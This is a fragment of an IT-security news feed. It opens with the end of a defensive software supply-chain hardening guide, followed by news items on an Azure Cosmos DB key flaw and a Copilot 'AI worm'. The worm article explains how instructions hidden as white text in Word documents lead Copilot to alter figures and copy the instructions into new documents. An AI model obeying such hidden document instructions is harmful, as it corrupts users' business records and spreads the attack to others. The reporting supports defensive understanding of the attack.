<p role="presentation"><strong>Python (pip)</strong><span>: Ensure that Python project environments do not pull dependencies directly from the public PyPI registry, which bypasses internal release-age policies and gating controls. All configurations must specify a secure, vetted private </span><code>--index-url </code><span>in their configuration files to ensure consistent quarantine and vetting of upstream packages.</span></p>
</li>
</ul>
<h4><span>Vendor Lifecycle Management</span></h4>
<ul>
<li aria-level="1">
<p role="presentation"><strong>Vendor Security Vetting:</strong><span> Conduct rigorous due diligence prior to procurement by assessing third-party security frameworks against industry standards such as ISO 27001 or SOC 2.</span></p>
</li>
<li aria-level="1">
<p role="presentation"><strong>Cybersecurity Provisions in Contracts:</strong><span> Integrate specific security mandates into vendor agreements, including strict timelines for incident notification, persistent audit rights, and clear liability terms.</span></p>
</li>
<li aria-level="1">
<p role="presentation"><strong>Hardware Provenance and Verification:</strong><span> Use supply chain tracing to confirm the integrity of components, establish methods for detecting counterfeit items, and secure the logistics of repairs and replacements.</span></p>
</li>
</ul>
<h4><span>Security Architecture and Engineering Controls</span></h4>
<h5><span>Identity and Access Management</span></h5>
<ul>
<li aria-level="1">
<p role="presentation"><strong>Automated System and Workload Identities</strong><span>: Transition third-party integrations and build-system processes away from static, long-lived administrative Personal Access Tokens (PATs). Instead, mandate the use of dedicated GitHub Apps or short-lived system tokens via federated OpenID Connect (OIDC) for automated machine integrations. This ensures that credentials used by system-to-system workflows expire in a matter of minutes, neutralizing the risk of a persistent compromise if an automation pipeline is breached.</span></p>
</li>
<li aria-level="1">
<p role="presentation"><strong>Developer and User Identity Controls (command-line interface (CLI) and Repository Access): </strong><span>Enforce strict access control boundaries for programmatic developer sessions. Because Okta-linked SAML SSO is only capable of verifying identity during the initial creation or authorization of personal tokens and keys, continuous session state cannot be challenged over programmatic CLI connections. Therefore, session security must be enforced through credential expiration and hardware-backed controls.</span></p>
</li>
<ul>
<li aria-level="2">
<p role="presentation"><strong>Enforce Strict Token Expiration:</strong><span> Strictly limit the allowable lifespan of all personal access tokens (PATs) and programmatic application programming interface (API) keys to a minimum threshold (e.g.a maximum 7-day limit). This guarantees that credentials expire regularly, forcing developers to re-authenticate through the primary SSO gateway.</span></p>
</li>
<li aria-level="2">
<p role="presentation"><strong>Consider Restricting Personal Access Tokens to Neutralize Git-over-HTTPS &amp; Mandate FIDO2 Secure Shell (SSH): </strong><span>To protect developer environments against credential theft, organizations should consider restricting Personal Access Tokens (PATs) globally across GitHub Enterprise Cloud. Because GHEC has no direct protocol-disable switch, administrators should consider disabling classic PATs and enforcing short token lifespans to effectively block unauthorized programmatic HTTPS connections. This protocol containment helps encourage developers to shift entirely to SSH authentication. To secure this transport layer, consider mandating the use of hardware-backed FIDO2 security keys to cryptographically verify physical token possession for all command-line repository actions.</span></p>
</li>
</ul>
<li aria-level="1">
<p role="presentation"><strong>Isolated CI/CD Execution:</strong><span> Utilize ephemeral runners for build pipelines that are purged immediately after completing a single task. This prevents malicious actors from maintaining a persistent presence between different build phases.</span></p>
</li>
<li aria-level="1">
<p role="presentation"><strong>Workflow Trigger Governance (pull_request_target): </strong><span>Strictly limit and secure the use of highly privileged triggers such as pull_request_target in automated environments. Multiple prominent supply chain campaigns have actively exploited vulnerable workflows using this trigger as their initial entry vector.</span></p>
</li>
</ul>
<h4><span>Infrastructure Protection</span></h4>
<ul>
<li aria-level="1">
<p role="presentation"><strong>Zero Trust and Least Privilege:</strong><span> Maintain rigorous control over managed service providers (MSPs) and third-party vendors by enforcing role-based access control (RBAC), multifactor authentication (MFA), and frequent audits of access rights.</span></p>
</li>
<li aria-level="1">
<p role="presentation"><strong>Network Micro-Segmentation:</strong><span> Segregate vital hardware and software from the rest of the enterprise network. Use allow-list-only firewall rules to block unauthorized outbound traffic and disrupt command-and-control (C2) activities.</span></p>
</li>
</ul>
<h4><span>Secure Development Ecosystems</span></h4>
<ul>
<li aria-level="1">
<p role="presentation"><strong>Pipeline and Sandbox Isolation:</strong><span> Ensure that testing environments, CI/CD pipelines, and informal scripting sandboxes are physically or logically isolated from production assets.</span></p>
</li>
<li aria-level="1">
<p role="presentation"><strong>Artifact Management:</strong><span> To secure the supply chain, organizations can integrate Google's </span><a href="https://cloud.google.com/security/products/assured-open-source-software"><span>Assured Open Source Software</span></a><span> into their internal workflows to defend against dependency confusion and malicious hijacking. This process provides "provenance" cryptographically signed evidence that the code has not been tampered with and originates from a verified source thereby establishing a higher level of trust for third-party dependencies.</span></p>
</li>
<li aria-level="1">
<p role="presentation"><strong>Quarantine Gates:</strong><span> Require all binaries, packages, and container images to be hosted in monitored internal repositories. To defend against zero-day dependency hijackings, implement localized "quarantine gates" by enforcing cooling windows on newly published third-party assets.</span></p>
</li>
</ul>
<ul>
<li aria-level="1">
<p role="presentation"><strong>Lifecycle Script Sandboxing (ignore-scripts)</strong><span>: Mitigate the critical threat of arbitrary code execution by disabling the automatic running of package install scripts. Attackers commonly hijack dependencies and add malicious post-installation execution scripts to steal credentials from developer environments and runners during routine installs. Organizations should mandate </span><code>ignore-scripts=true</code><span> in their repository-level .npmrc files and configure native allowlists, such as pnpm's </span><code>onlyBuiltDependencies</code><span>, to restrict execution exclusively to verified, essential tools.</span></p>
</li>
<li aria-level="1">
<p role="presentation"><strong>Software Composition Analysis (SCA) with Google OSV-Scanner:</strong><span> Integrate Google's open source </span><a href="https://github.com/google/osv.dev" rel="noopener" target="_blank"><span>OSV-Scanner</span></a><span> tool into CI/CD build pipelines to continuously scan project dependencies for known security flaws. This tool provides an officially supported frontend to the OSV.dev database that maps a project's list of dependencies with the specific vulnerabilities affecting them.</span></p>
</li>
<ul>
<li aria-level="2">
<p role="presentation"><strong>High-Fidelity Vulnerability Detection</strong><span>: Unlike traditional scanners that rely on imprecise name matching, the OSV schema stores vulnerability data in a machine-readable format that maps unambiguously onto version ranges and commit hashes. This results in fewer false positives and produces highly actionable remediation notifications, significantly reducing development team triage overhead.</span></p>
</li>
</ul>
<li aria-level="1">
<p role="presentation"><strong>Authoritative &amp; Collaborative Threat Intel:</strong><span> The underlying OSV.dev database aggregates high-quality threat intelligence from authoritative open sources, allowing the broader developer community to suggest continuous improvements. Utilizing OSV-Scanner helps developers identify impactful third-party open source vulnerabilities in their applications and focus remediation on genuine risks.</span></p>
</li>
<li aria-level="1">
<p role="presentation"><strong>Hardware-Backed Key Protection:</strong><span> Secure code-signing certificates using Hardware Security Modules (HSMs) or vaulting solutions. Monitor public transparency ledgers and logs to detect any unauthorized certificate activity.</span></p>
</li>
<li aria-level="1">
<p role="presentation"><strong>Hardened Distribution Points:</strong><span> Audit and lock down software delivery channels, such as Content Delivery Network (CDN) endpoints and FTP servers, to ensure legitimate binaries cannot be replaced by compromised payloads.</span></p>
</li>
<li aria-level="1">
<p role="presentation"><strong>Audit NPM Package Maintainer Accounts for Stale or Expired Recovery Email Domains: </strong><span>Expired maintainer email domains are a critical risk because attackers can purchase them to intercept password reset emails, take over the package registry account, and publish malicious code to downstream users. To identify vulnerable packages, organizations can perform the following:</span></p>
</li>
<ul>
<li aria-level="2">
<p role="presentation"><span>Deploy automated scanning tools to audit the entire dependency tree and verify the domain name system (DNS) resolution and registration status of all maintainer email domains.</span></p>
</li>
<li aria-level="2">
<p role="presentation"><span>For defense-in-depth, pipelines must disable package execution scripts and employ cold periods.</span></p>
</li>
<li aria-level="2">
<p role="presentation"><span>Use by default ephemeral, single-use runners to prevent compromised packages from accessing persistent build environments. </span></p>
</li>
<li aria-level="2">
<p role="presentation"><span>Isolate runners in a restricted network segment with strict egress filtering blocks any unauthorized connection to external domains even if an active exploit is triggered.</span></p>
</li>
</ul>
</ul>
<h4><strong>Integration with Native Ecosystem Guardrails    </strong></h4>
<ul>
<li aria-level="1">
<p role="presentation"><span>These organization-controlled quarantine policies must operate in conjunction with native platform-level security updates to achieve a Defense-in-Depth posture. Relying solely on client-side configurations or automated update tools in isolation creates single points of failure. The following native platform controls must be orchestrated alongside standard controls:</span></p>
</li>
</ul>
<ul>
<li aria-level="1">
<p role="presentation"><a href="https://github.blog/security/supply-chain-security/the-case-for-a-cooldown-why-dependabot-now-waits-before-issuing-version-updates/" rel="noopener" target="_blank"><strong>Dependabot Native Cooldowns (July 2026)</strong></a><strong>:</strong><span> Dependabot now enforces a default three-day cooldown on version updates to allow for the public discovery of upstream compromises (such as the historical chalk and debug hijackings) before automated Pull Requests are generated].</span></p>
</li>
<li aria-level="1">
<p role="presentation"><a href="https://blog.pypi.org/posts/2026-07-22-releases-now-reject-new-files-after-14-days/" rel="noopener" target="_blank"><strong>PyPI Server-Side Immutability (July 2026)]</strong></a><strong>:</strong><span> PyPI now natively rejects new file uploads to any release older than 14 days. This prevents adversaries possessing compromised tokens from retroactively poisoning legacy, pinned dependencies (as observed in the LiteLLM and Telnyx compromises) .</span></p>
</li>
<li aria-level="1">
<p role="presentation"><a href="https://github.blog/changelog/2026-06-09-upcoming-breaking-changes-for-npm-v12/" rel="noopener" target="_blank"><strong>npm v12 Install-Time Defaults (July 2026)</strong></a><span>: npm v12 disables all lifecycle scripts by default (</span><code>allowScripts: off)</code><span> , replacing manual, workflow-level ignore flags with explicit, commit-verified package allow-lists </span></p>
</li>
</ul>
<p><span>By explicitly aligning baseline configurations including .npmrc and pip.conf registry pinning, immutable installation protocols via npm ci, and runner isolation with these native platform-level guardrails, while committing to the continuous evaluation and adoption of new </span><a href="https://github.blog/changelog/?label=supply-chain-security" rel="noopener" target="_blank"><span>upstream security features</span></a><span> as they are released, the organization establishes a resilient, multi-layered security boundary across the entire software supply chain</span></p>
<h4><span>Continuous Verification, Monitoring, and Response</span></h4>
<h5><em><span>Automated Ingestion and Validation</span></em></h5>
<ul>
<li aria-level="1">
<p role="presentation"><strong>Automate SBOM Management:</strong><span> Implement a Software Bill of Materials (SBOM) for all third-party and internal software. This enables continuous monitoring for emerging vulnerabilities like Log4j through automated cross-referencing. Automate and scale this process by feeding SBOMs into central vulnerability management platforms that continuously cross-reference deployed inventory against newly disclosed exploits.</span></p>
</li>
<li aria-level="1">
<p role="presentation"><strong>Security Analysis Integration:</strong><span> Incorporate automated dynamic application security testing (DAST) and static application security testing (SAST) tools within development pipelines to identify and block compromised third-party code before it is compiled.</span></p>
</li>
<li aria-level="1">
<p role="presentation"><strong>Verification of Cryptographic Integrity:</strong><span> Prior to installing updates, use automated systems to validate digital signatures and hashes against vendor-provided specifications.</span></p>
</li>
<li aria-level="1">
<p role="presentation"><strong>Implement autonomous security verification</strong><span>: Organizations should look to integrate advanced security workflows directly into their CI/CD pipelines. These systems can behaviorally evaluate threats by executing simulations in isolated sandboxes, cross-reference those flags with cloud context to determine a flaw's actual reach, and automatically generate tested code patches to rapidly remediate verified risks at scale.</span></p>
</li>
</ul>
<h5><em><span>Proactive Threat Hunting and Monitoring</span></em></h5>
<ul>
<li aria-level="1">
<p role="presentation"><strong>Egress and Proxy Analysis:</strong><span> Establish network traffic baselines to identify suspicious egress flows to external repositories or unrecognized Internet Protocol (IP) addresses.</span></p>
</li>
<li aria-level="1">
<p role="presentation"><strong>Comprehensive Endpoint Security:</strong><span> Utilize endpoint detection and response (EDR) tools across infrastructure and developer workstations to detect post-execution malicious activities from supply chain compromises.</span></p>
</li>
<li aria-level="1">
<p role="presentation"><strong>Log Aggregation and Alerting:</strong><span> Unified log management should alert on the following anomalies:</span></p>
</li>
<ul>
<li aria-level="2">
<p role="presentation"><span>Development Systems: Watch for unauthorized code changes, build parameter adjustments, or irregular user activity.</span></p>
</li>
<li aria-level="2">
<p role="presentation"><span>CI/CD Integrity: Alert on unauthorized workflow modifications or anomalous triggers (e.g., repository_dispatch) that bypass standard code-review gates.</span></p>
</li>
<li aria-level="2">
<p role="presentation"><span>Injection Detection: Monitor logs for shell-escape characters or command-substitution patterns within untrusted input variables.</span></p>
</li>
<li aria-level="2">
<p role="presentation"><span>Credential Misuse: Track authentication hits on long-lived static keys from unrecognized IP addresses or regions.</span></p>
</li>
<li aria-level="2">
<p role="presentation"><span>Physical Assets: Record all firmware modifications, including installation status and source information.</span></p>
</li>
</ul>
</ul>
<h5><em><span>Incident Response Strategies</span></em></h5>
<ul>
<li aria-level="1">
<p role="presentation"><strong>Specific Supply Chain Playbooks:</strong><span> Perform tabletop exercises and document response plans for:</span></p>
<ul>
<li aria-level="2">
<p role="presentation"><strong>Upstream Package Takeover:</strong><span> Maintainer account takeover (ATO) on public registries leading to direct runtime application code manipulation</span></p>
</li>
<li aria-level="2">
<p role="presentation"><strong>Dependency Confusion Exploits</strong><span>: Malicious registration of lapsed administrative recovery domains or unscoped internal namespaces on public registries to hijack local developer and build runner installations.</span></p>
</li>
<li aria-level="2">
<p role="presentation"><strong>Automated Pipeline Harvesting:</strong><span> Pipeline poisoning of CI/CD environments via runner exploitation to harvest credentials and perform unauthorized package publication.</span></p>
</li>
<li role="presentation"><strong>Developer Workstation &amp; IDE Compromise: </strong><span>Targeted social engineering, malicious IDE extensions, or typosquatted local dependencies designed to exfiltrate private cryptographic keys, API tokens, and local session credentials.</span></li>
</ul>
</li>
<li aria-level="1">
<p role="presentation"><strong>Operational Re-evaluation:</strong><span> Create processes for immediate vendor re-mapping and security re-assessment during industry-wide security events.</span></p>
</li>
</ul>
<p><span>Recommendations for mitigation strategies are also available publicly via:</span></p>
<ul>
<li aria-level="1">
<p role="presentation"><span>Google's </span><a href="https://cloud.google.com/blog/products/application-development/google-introduces-slsa-framework"><span>Supply-chain Levels for Software Artifacts (SLSA)</span></a><span> </span></p>
</li>
<li aria-level="1">
<p role="presentation"><a href="https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-161r1.pdf" rel="noopener" target="_blank"><span>Cybersecurity Supply Chain Risk Management Practices for Systems and Organizations</span></a><span> (NIST SP 800-161 Rev. 1) from the US National Institute of Standards and Technology (NIST)</span></p>
</li>
<li aria-level="1">
<p role="presentation"><a href="https://media.defense.gov/2022/Sep/01/2003068942/-1/-1/0/ESF_SECURING_THE_SOFTWARE_SUPPLY_CHAIN_DEVELOPERS.PDF" rel="noopener" target="_blank"><span>Securing the Software Supply Chain: Recommended Practices Guide for Developers</span></a><span> from the US National Security Agency (NSA)</span></p>
</li>
<li aria-level="1">
<p role="presentation"><span>WIZ SDLC Infrastructure Threat Framework (SITF) </span><a href="https://www.wiz.io/blog/sitf-sdlc-threat-framework" rel="noopener" target="_blank"><span>SDLC Infrastructure Threat Framework</span></a></p>
</li>
</ul>
<h3><span>Acknowledgements</span></h3>
<p><span>This analysis would not have been possible without the assistance of Matthew McWhirt and Michael Veal. </span></p></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Mark Zuckerberg Blasts Centralization of A.I. Power]]></title>
<description><![CDATA[In an interview with The Times, Meta’s chief executive took aim at Anthropic and OpenAI, which have pushed to tightly control A.I. development, and said he supported “more openness.”]]></description>
<link>https://tsecurity.de/de/3697888/it-security-nachrichten/mark-zuckerberg-blasts-centralization-of-ai-power/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3697888/it-security-nachrichten/mark-zuckerberg-blasts-centralization-of-ai-power/</guid>
<pubDate>Mon, 03 Aug 2026 00:08:09 +0200</pubDate>
<content:encoded><![CDATA[In an interview with The Times, Meta’s chief executive took aim at Anthropic and OpenAI, which have pushed to tightly control A.I. development, and said he supported “more openness.”]]></content:encoded>
</item>
<item>
<title><![CDATA[Microsoft almost gave away the keys to everyone’s Azure Cosmos DBs]]></title>
<description><![CDATA[Microsoft has had a narrow escape from total embarrassment: A security company uncovered a critical vulnerability that could have compromised all Azure Cosmos DB databases — both those of customers and Microsoft’s own.



Google subsidiary Wiz found a flaw in the database’s Gremlin API, usually u...]]></description>
<link>https://tsecurity.de/de/3697832/it-security-nachrichten/microsoft-almost-gave-away-the-keys-to-everyones-azure-cosmos-dbs/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3697832/it-security-nachrichten/microsoft-almost-gave-away-the-keys-to-everyones-azure-cosmos-dbs/</guid>
<pubDate>Mon, 03 Aug 2026 00:07:58 +0200</pubDate>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Microsoft has had a narrow escape from total embarrassment: A security company uncovered a critical vulnerability that could have compromised all Azure Cosmos DB databases — both those of customers and Microsoft’s own.</p>



<p class="wp-block-paragraph">Google subsidiary Wiz found a flaw in the database’s Gremlin API, usually used for storing and managing property graph data.</p>



<p class="wp-block-paragraph">If bad actors had discovered it first, they could have exploited it to acquire what Wiz called the Cosmos Master Key, which would have enabled them to use the primary key of any Cosmos database, resulting in read and write access to any account. They would also have had access to a list of every database on the service, with identifiers such as subscription and tenant IDs.</p>



<p class="wp-block-paragraph">Azure Cosmos DB is a NoSQL database that underpins Microsoft’s cloud services. It can be accessed through SDKs for framework such as Python, Node.js, Java, and .NET.</p>



<p class="wp-block-paragraph"><a href="https://www.wiz.io/blog/cosmosescape-taking-over-every-database-in-azure-cosmos-db" target="_blank" rel="noreferrer noopener">Wiz described how it discovered the vulnerability</a> in a blog post. It disclosed details of the flaw to Microsoft in November 2025.</p>



<p class="wp-block-paragraph">Microsoft deployed a hot fix within two days, but it took another eight months to re-engineer the infrastructure, removing the Cosmos Master Key and introducing new guardrails to Cosmos DB to prevent similar attacks.</p>



<p class="wp-block-paragraph">It is not the first time Cosmos DB customers’ primary keys have been under threat: In 2021, <a href="https://www.csoonline.com/article/571251/cosmos-db-users-advised-to-regenerate-their-keys-following-serious-vulnerability.html">Wiz found a flaw in data exploration tool Jupyter Notebook</a> that could be exploited to access the database keys and other secrets.</p>



<p class="wp-block-paragraph"></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Copilot worm can spread through Microsoft Word docs]]></title>
<description><![CDATA[An “AI worm” can spread through Microsoft Word documents using Copilot as a vector, a prominent Norwegian AI researcher reported on Tuesday.



The report from Håkon Måløy, later confirmed by Microsoft, said that an attacker can conceal instructions in a document that is later used as source mate...]]></description>
<link>https://tsecurity.de/de/3697836/it-security-nachrichten/copilot-worm-can-spread-through-microsoft-word-docs/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3697836/it-security-nachrichten/copilot-worm-can-spread-through-microsoft-word-docs/</guid>
<pubDate>Mon, 03 Aug 2026 00:07:58 +0200</pubDate>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">An “AI worm” can spread through Microsoft Word documents using Copilot as a vector, a prominent Norwegian AI researcher reported on Tuesday.</p>



<p class="wp-block-paragraph"><a href="https://enklypesalt.com/posts/context-collapse-part3-ai-worming-through-word/" target="_blank" rel="noreferrer noopener">The report</a> from <a href="https://www.linkedin.com/in/h%C3%A5kon-m%C3%A5l%C3%B8y-770572276/" target="_blank" rel="noreferrer noopener">Håkon Måløy</a>, later confirmed by Microsoft, said that an attacker can conceal instructions in a document that is later used as source material for Copilot-generated or Copilot-edited Word documents, for example, as input to a financial report. Those malicious instructions could potentially alter figures in the document being created. They then copy themselves into the new document, causing it to become a carrier of the attack when used in another Copilot-assisted workflow.</p>



<p class="wp-block-paragraph">Måløy noted: “To my knowledge, this is among the first public demonstrations of document-borne AI-worm self-propagation through normal workflows in a mainstream commercial productivity suite.”</p>



<p class="wp-block-paragraph">Microsoft on Thursday emailed a statement to CSOonline discussing the report’s revelations. </p>



<p class="wp-block-paragraph">“We have addressed the findings reported by the researcher and thank them for working with us through coordinated vulnerability disclosure. To address this class of risk, we use a defense-in-depth strategy with safeguards that block malicious instructions at multiple points and help keep tasks aligned with users’ requests,” Microsoft said. </p>



<p class="wp-block-paragraph">“We are continuously strengthening these safeguards as the technology and threat landscape evolve,” it added. “We encourage customers to install the latest updates, use multiple layers of security protection, treat content from unknown sources with caution, and review AI-generated content before using or sharing it.” </p>



<h2 class="wp-block-heading">Sidesteps defenses</h2>



<p class="wp-block-paragraph"><a href="https://www.linkedin.com/in/akm76/" target="_blank" rel="noreferrer noopener">Aman Mahapatra</a>, chief strategy officer for Tribeca Softtech, a New York City-based technology consulting firm, has reviewed the mechanisms used in this vulnerability and says that it is much worse than it might seem, because it will sidestep just about every defensive mechanism enterprises have in place today.</p>



<p class="wp-block-paragraph">“This is a worm, a self-propagating malware pattern that uses Copilot as the transmission mechanism and legitimate corporate collaboration as the delivery channel. It bypasses every traditional email security control because the document is not malicious on delivery and it becomes malicious when Copilot processes it. That means that it bypasses DLP because the exfiltration happens through the user’s own authenticated Copilot session,” Mahapatra said. “It then bypasses endpoint protection because no code executes, only instructions get followed by an AI service the enterprise has explicitly authorized.”</p>



<p class="wp-block-paragraph">He also noted that researchers have been warning about this class of attack for two years.</p>



<h2 class="wp-block-heading">Microsoft’s involvement</h2>



<p class="wp-block-paragraph">Måløy said that he has been working with the Microsoft Security Response Center (MSRC) since March 3 and <a href="https://www.csoonline.com/article/4203349/russian-hackers-turn-exchange-flaw-into-half-click-mailbox-takeover.html" target="_blank">Microsoft </a> subsequently implemented and distributed multiple small focused mitigations, but the core vulnerability has yet to be fixed.</p>



<p class="wp-block-paragraph">He said he was hesitant to disclose an active vulnerability, but felt that it was now time to publish. </p>



<p class="wp-block-paragraph">“My reasoning is that defenders cannot reduce exposure to a risk they are unaware of,” Måløy wrote, “and the propagation mechanism described here affects ordinary document workflows that many organizations already rely on.”</p>



<p class="wp-block-paragraph">In an email interview, Måløy noted that the tweaks Microsoft has implemented were helpful, nonetheless. </p>



<p class="wp-block-paragraph">“The coordinated disclosure process showed that mitigations can meaningfully reduce the demonstrated attack surface, making attacks less reliable and limiting their reach, even without completely eliminating the underlying problem,” he said. </p>



<p class="wp-block-paragraph">Måløy also addressed the resolution that many analysts and consultants suggested, which is to change the nature of LLMs to fully isolate instructions from the data they operate on. </p>



<p class="wp-block-paragraph">“Separating instructions from data may be part of the solution, but I think the distinction between data and instructions is not always clear in real-world workflows. For example, a user may ask an agent to arrange a business trip, requiring the agent to retrieve an email specifying the approved itinerary and a document containing the booking procedure,” Måløy said. </p>



<p class="wp-block-paragraph">“My view is that the broader challenge is therefore not simply to prevent systems from interpreting external content as instructions, but to evaluate whether those instructions align with the user’s goals and the context in which the system is operating,” he added.</p>



<h2 class="wp-block-heading">Problem hard to overstate</h2>



<p class="wp-block-paragraph"><a href="https://www.linkedin.com/in/eclectiqus/" target="_blank" rel="noreferrer noopener">Mike Wilkes</a>, enterprise CISO at Aikido Security, said it would be difficult to overstate the potential problems from this situation. </p>



<p class="wp-block-paragraph">“This is a significant issue because it moves prompt injection from a single compromised interaction into a potentially self-propagating document integrity attack,” he said, noting that it is not a conventional worm that spreads automatically. A user or Copilot workflow must still bring an infected document into the model’s context. “But once that happens, the malicious instructions can reportedly alter business information, conceal themselves inside the resulting Word document and turn a legitimate internal file into the next carrier,” he said.</p>



<p class="wp-block-paragraph">That, he pointed out, creates “a dangerous enterprise supply chain in which financial reports, contracts, policies and partner documents may inherit malicious behavior while retaining the trust associated with their legitimate authors and Microsoft 365 accounts.”</p>



<h2 class="wp-block-heading">Not a new issue</h2>



<p class="wp-block-paragraph">The key issue behind this flaw is the fact that genAI tends to struggle with telling the difference between data that a user offers as input and the instructions the AI is to execute.</p>



<p class="wp-block-paragraph"><a href="https://www.linkedin.com/in/fvillanustre/" target="_blank" rel="noreferrer noopener">Flavio Villanustre</a>, CISO for the LexisNexis Risk Solutions Group, observed that the same problem with mixed data and instructions occurred in databases decades ago, and turned into what we know as SQL injection attacks today. But, he noted, a few years later, parametrized binding for the database access layers was developed, which separates instructions, which are handled internally and safely, from data, which can come from untrusted sources. “The same needs to happen with LLMs and other AI,” he said.</p>



<p class="wp-block-paragraph"><a href="https://moorinsightsstrategy.com/team/mike-leone/" target="_blank" rel="noreferrer noopener">Mike Leone</a>, a VP/principal analyst at Moor Insights &amp; Strategy, agreed.</p>



<p class="wp-block-paragraph">“It’s hard not to chuckle a bit with this one. People have been asking whether data can give orders since SQL injections. We fixed that one by giving the database a way to tell an instruction from a value,” Leone said. “Thirty years later, we’ve built an entire category of software that can’t tell the difference at all.”</p>



<p class="wp-block-paragraph"><a href="https://www.linkedin.com/in/tomfindling/" target="_blank" rel="noreferrer noopener">Tom Findling</a>, CEO at Conifers.ai, also said he sees the data-vs-instructions issue as the biggest problem. </p>



<p class="wp-block-paragraph">“Separating data from instructions is still unsolved at the model layer. The labs are making real progress, but not enough to be your only control,” he said, and stressed, “Microsoft doesn’t need to wait for that. It can slow propagation inside Copilot: stop hidden content from being written into new documents, surface hidden text before it’s used, preserve the trust level of what Copilot read and show all AI-generated changes.”</p>



<h2 class="wp-block-heading">Fix needs industry agreement</h2>



<p class="wp-block-paragraph">However, <a href="https://my.idc.com/getdoc.jsp?containerId=PRF004767" target="_blank" rel="noreferrer noopener">Frank Dickson</a>, group VP for security at IDC, argued that a fix needs industry agreement. </p>



<p class="wp-block-paragraph">“A fundamental fix requires the industry to converge on the same architectural change, which isn’t happening anytime soon given the incentives and the fact that the major players are far from besties,” he said, pointing out that Instruction-data separation would need to be baked in at the model or platform level across every major vendor. “None of them are rewarding that work commercially right now, so treat that as a multi-year research problem, not something a CISO should wait on.”</p>



<p class="wp-block-paragraph">Leone disagreed, arguing that a single vendor can do quite a bit, at least for its own customers. </p>



<p class="wp-block-paragraph">“Microsoft has said publicly since last year that indirect prompt injection can’t be fully prevented, and I give them credit for saying it out loud rather than pretending otherwise,” Leone said, noting that the industry doesn’t have to move in lockstep. “This attack lives inside one product,” he said. “If Microsoft hardens the Copilot document path, Copilot customers get safer whether or not anyone else moves.”</p>



<p class="wp-block-paragraph">Dickson added that another critical problem with this vulnerability is that the carrier documents are created by legitimate employees using legitimate tools, “so there’s no obvious point of origin once the payload starts moving; an organization could be laundering corrupted financial figures through its own workflow for weeks before anyone notices.”</p>



<h2 class="wp-block-heading">Tactics that might help</h2>



<p class="wp-block-paragraph">That said, experts had some specific suggestions for CISOs trying to negate this problem. </p>



<p class="wp-block-paragraph">IDC’s Dickson said, “the most useful lever right now sits outside the model entirely, in how much untrusted content Copilot is allowed to pull into a session without a human choosing it.” He noted that enterprises can turn Copilot’s auto-discovery behavior off or restrict it, and require humans to explicitly select the documents they feed it. “That alone closes off one of the two ways the attack gets a foothold,” he said.</p>



<p class="wp-block-paragraph">IDC also suggested a visible diff or redline of anything Copilot changes in a financial or otherwise consequential document, and the requirement for a human to approve the changes. “That’s not a technical fix, it’s a workflow one, and it’s available today,” Dickson said.</p>



<p class="wp-block-paragraph">He said that IT should also track where content came from and what was touched by an AI system, in metadata that travels with the document. “It doesn’t stop the injection, but it means when something does get through, an organization can actually trace how far it spread instead of discovering a corrupted number three reports later with no way to reconstruct the chain,” he said.</p>



<p class="wp-block-paragraph">However, one expert, <a href="https://www.fortra.com/profile/tyler-reguly" target="_blank" rel="noreferrer noopener">Tyler Reguly</a>, Fortra’s associate director of security R&amp;D, said that he didn’t see this vulnerability having a meaningful impact because it feels like what he called a “laboratory vulnerability.” </p>



<p class="wp-block-paragraph">Normal enterprise workflows don’t encompass a number of the necessary steps for compromise, he said, pointing out that, if anything, people are trained not to download Word documents. Plus, he noted, looking at the blurred example in the report, the malicious document contained an additional apparently blank page which held the concealed prompts in white text.</p>



<p class="wp-block-paragraph">“That page is going to send up warning signs for me if someone even managed to convince me to download an external Word document,” he said. So, overall, “this feels like it requires a perfect storm.”</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Amazon ordnet npm-Hijacks debug, chalk und typo-crypto Nordkorea zu – Belege bleiben dünn]]></title>
<description><![CDATA[LONDON (IT BOLTWISE) – Amazon Threat Intelligence verknüpft mehrere npm-Kompromittierungen mit Nordkorea und nennt als Schlüsselmuster das Social Engineering eines Maintainers. Dabei sei ein Wallet-drosselnder Script in mindestens 18 Pakete gelangt, die zusammen mehr als 2 Mrd. Downloads pro Woch...]]></description>
<link>https://tsecurity.de/de/3697760/it-security-nachrichten/amazon-ordnet-npm-hijacks-debug-chalk-und-typo-crypto-nordkorea-zu-belege-bleiben-duenn/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3697760/it-security-nachrichten/amazon-ordnet-npm-hijacks-debug-chalk-und-typo-crypto-nordkorea-zu-belege-bleiben-duenn/</guid>
<pubDate>Mon, 03 Aug 2026 00:07:52 +0200</pubDate>
